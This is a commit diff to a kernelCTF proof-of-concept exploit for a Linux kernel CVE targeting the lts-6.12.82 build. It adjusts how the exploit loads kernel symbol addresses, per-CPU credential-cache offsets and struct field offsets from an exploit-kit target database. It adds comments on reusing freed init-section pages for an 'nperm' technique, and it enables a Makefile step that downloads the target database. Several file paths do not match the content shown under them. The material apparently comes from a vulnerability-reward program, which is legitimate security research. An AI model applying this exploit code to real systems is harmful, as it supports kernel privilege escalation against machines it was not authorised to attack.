fix usage of kernel xdk

Author: r33s3n6

pocs/linux/kernelctf/CVE-2026-43074_lts/docs/xdk-db.md

@@ -26,8 +26,8 @@ exploit.o: exploit.cpp $(MODULE_HEADERS)
 modules/%.o: modules/%.cpp $(MODULE_HEADERS)
 	$(CXX) $(CXXFLAGS) -c $< -o $@
 
-# target_db.kxdb:
-# 	wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb
+target_db.kxdb:
+	wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb
 
 clean:
 	rm -f exploit exploit_debug modules/*.o

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/Makefile

@@ -4,6 +4,7 @@
 #include "module_context.h"
 #include "shared_core.h"
 
+#include <linux/keyctl.h>
 #include <algorithm>
 #include <array>
 #include <atomic>

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/exploit

@@ -4,13 +4,12 @@
 #include <cstdint>
 #ifndef _GNU_SOURCE
 #define _GNU_SOURCE
-#include <sys/user.h>
 #endif
 
 #include <fcntl.h>
 #include <getopt.h>
 #include <inttypes.h>
-#include <linux/keyctl.h>
+// #include <linux/keyctl.h>
 #include <pthread.h>
 #include <sched.h>
 #include <stdbool.h>
@@ -66,13 +65,14 @@
 #define DEFAULT_SPRAY_SIZE_KB (3600000ul)
 #define DEFAULT_SLOW_NPERM 0
 
+#define DEFAULT_KERNEL_TEXT_BASE 0xffffffff81000000ul
+#define DEFAULT_PHYS_BASE 0xffff888000000000ul
 #define DEFAULT_NPERM_ADDR 0xffffffff85141000ul
+
 #define DEFAULT_PANIC_ON_OOPS 0xffffffff84487654ul
 #define DEFAULT_EPNESTED_BASE 0xffffffff8460d4c0ul
 
 #define DEFAULT_TYPES_SYSLOG 0xffffffff844a3620ul
-#define DEFAULT_KERNEL_TEXT_BASE 0xffffffff81000000ul
-#define DEFAULT_PHYS_BASE 0xffff888000000000ul
 #define DEFAULT_PCPU_CRED_JAR_OFFSET 0x3b6d0ul
 #define DEFAULT_EVENTPOLL_REFS_OFFSET 160ul
 #define DEFAULT_CONSOLE_MUTEX 0xffffffff84583900ul
@@ -90,22 +90,48 @@ struct ExploitLayout {
     // base addresses
     uintptr_t kernel_text_base = DEFAULT_KERNEL_TEXT_BASE;
     uintptr_t phys_base = DEFAULT_PHYS_BASE;
+
+    // Offset of a per-CPU pointer (accessed relative to the per-CPU base,
+    // e.g. via $gs_base on x86_64).
+    //
+    // This object is dynamically allocated and therefore does not have a
+    // corresponding kernel symbol. However, its offset within the per-CPU
+    // region is highly stable in practice and remains the same across reboots.
+    //
+    // The reason is that the allocation path and initialization order of
+    // per-CPU objects during boot are deterministic: the same set of per-CPU
+    // allocations tends to occur in the same sequence, producing a consistent
+    // layout and therefore a reproducible offset.
+    uintptr_t pcpu_cred_jar_offset = DEFAULT_PCPU_CRED_JAR_OFFSET;
+
+    // ffffffff85125000 D __init_begin
+    // ffffffff85639000 R __init_end
+    //
+    // __init_begin ~ __init_end corresponds to the kernel init section.
+    // After kernel initialization completes, this region is freed and can be
+    // reallocated for other kernel objects.
+    //
+    // Once the kernel base address is leaked, the location of this region becomes
+    // predictable, making it a known address range usable by the nperm technique.
+    //
+    // We experimentally observed that some pages inside the init section are more
+    // likely to be reallocated than others. The page at 0xffffffff85141000 was
+    // chosen because it showed a relatively high success rate. In principle, any
+    // page within [__init_begin, __init_end) may work, but the probability of
+    // successful reuse differs across pages.
     uintptr_t nperm_addr = DEFAULT_NPERM_ADDR;
 
     // image offsets
-    uintptr_t panic_on_oops = DEFAULT_PANIC_ON_OOPS;
-    uintptr_t epnested_mutex = DEFAULT_EPNESTED_BASE;
-    uintptr_t types_syslog = DEFAULT_TYPES_SYSLOG;
-    uintptr_t console_mutex = DEFAULT_CONSOLE_MUTEX;
-    uintptr_t console_owner = DEFAULT_CONSOLE_OWNER;
-    uintptr_t core_pipe_limit = DEFAULT_CORE_PIPE_LIMIT;
+    uintptr_t panic_on_oops;
+    uintptr_t epnested_mutex;
+    uintptr_t types_syslog;
+    uintptr_t console_mutex;
+    uintptr_t console_owner;
+    uintptr_t core_pipe_limit;
 
     // field offsets
-    uintptr_t eventpoll_refs_offset = DEFAULT_EVENTPOLL_REFS_OFFSET;
-    uintptr_t epitem_fllink_offset = DEFAULT_EPITEM_FLLINK_OFFSET;
-
-    // runtime offset (but fixed)
-    uintptr_t pcpu_cred_jar_offset = DEFAULT_PCPU_CRED_JAR_OFFSET;
+    uintptr_t eventpoll_refs_offset;
+    uintptr_t epitem_fllink_offset;
 
     void load_from_xdk();
 };

pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_phase.h

@@ -1,31 +1,69 @@
 #include <cstdio>
 #include <exception>
 
-#include <xdk/target/TargetDb.h>
-#include <xdk/util/incbin.h>
+#include <xdk/core.h>
+#include <xdk/postrip.h>
 
 #include "module_context.h"
 
 INCBIN(target_db, "target_db.kxdb");
 
+namespace {
+
+uint64_t image_offset(uint64_t absolute_address) {
+    return absolute_address - DEFAULT_KERNEL_TEXT_BASE;
+}
+
+void add_exploit_target_entries(TargetDb& kxdb) {
+    Target target("kernelctf", "lts-6.12.82");
+
+    target.AddSymbol("panic_on_oops", image_offset(DEFAULT_PANIC_ON_OOPS));
+    target.AddSymbol("epnested_mutex", image_offset(DEFAULT_EPNESTED_BASE));
+    target.AddSymbol("types__syslog", image_offset(DEFAULT_TYPES_SYSLOG));
+    target.AddSymbol("console_mutex", image_offset(DEFAULT_CONSOLE_MUTEX));
+    target.AddSymbol("console_owner", image_offset(DEFAULT_CONSOLE_OWNER));
+    target.AddSymbol("core_pipe_limit", image_offset(DEFAULT_CORE_PIPE_LIMIT));
+
+    target.AddStruct("eventpoll", 192,
+                     {{"refs.first", DEFAULT_EVENTPOLL_REFS_OFFSET, sizeof(uintptr_t)}});
+    target.AddStruct("epitem", 120,
+                     {{"fllink.next", DEFAULT_EPITEM_FLLINK_OFFSET, sizeof(uintptr_t)}});
+
+    kxdb.AddTarget(target);
+}
+
+}  // namespace
+
 void ExploitLayout::load_from_xdk() {
     try {
         TargetDb kxdb("target_db.kxdb", target_db);
+        add_exploit_target_entries(kxdb);
         auto target = kxdb.AutoDetectTarget();
 
         fprintf(stderr, "[xdk] detected target: %s %s\n", target.GetDistro().c_str(),
                 target.GetReleaseName().c_str());
 
-        panic_on_oops = target.GetSymbolOffset("panic_on_oops") + kernel_text_base;
-        epnested_mutex = target.GetSymbolOffset("epnested_mutex") + kernel_text_base;
-        types_syslog = target.GetSymbolOffset("types__syslog") + kernel_text_base;
-        console_mutex = target.GetSymbolOffset("console_mutex") + kernel_text_base;
-        console_owner = target.GetSymbolOffset("console_owner") + kernel_text_base;
-        core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + kernel_text_base;
+        panic_on_oops = target.GetSymbolOffset("panic_on_oops") + DEFAULT_KERNEL_TEXT_BASE;
+        epnested_mutex = target.GetSymbolOffset("epnested_mutex") + DEFAULT_KERNEL_TEXT_BASE;
+        types_syslog = target.GetSymbolOffset("types__syslog") + DEFAULT_KERNEL_TEXT_BASE;
+        console_mutex = target.GetSymbolOffset("console_mutex") + DEFAULT_KERNEL_TEXT_BASE;
+        console_owner = target.GetSymbolOffset("console_owner") + DEFAULT_KERNEL_TEXT_BASE;
+        core_pipe_limit = target.GetSymbolOffset("core_pipe_limit") + DEFAULT_KERNEL_TEXT_BASE;
 
         eventpoll_refs_offset = target.GetFieldOffset("eventpoll", "refs.first");
         epitem_fllink_offset = target.GetFieldOffset("epitem", "fllink.next");
 
+        // print all loaded offsets for verification
+        fprintf(stderr, "[xdk] loaded offsets:\n");
+        fprintf(stderr, "  panic_on_oops: 0x%lx\n", panic_on_oops);
+        fprintf(stderr, "  epnested_mutex: 0x%lx\n", epnested_mutex);
+        fprintf(stderr, "  types__syslog: 0x%lx\n", types_syslog);
+        fprintf(stderr, "  console_mutex: 0x%lx\n", console_mutex);
+        fprintf(stderr, "  console_owner: 0x%lx\n", console_owner);
+        fprintf(stderr, "  core_pipe_limit: 0x%lx\n", core_pipe_limit);
+        fprintf(stderr, "  eventpoll_refs_offset: 0x%lx\n", eventpoll_refs_offset);
+        fprintf(stderr, "  epitem_fllink_offset: 0x%lx\n", epitem_fllink_offset);
+
         fprintf(stderr, "[xdk] successfully loaded exploit layout from XDK target database\n");
     } catch (const std::exception& e) {
         fprintf(stderr, "[xdk] failed to load exploit layout from XDK target database: %s\n",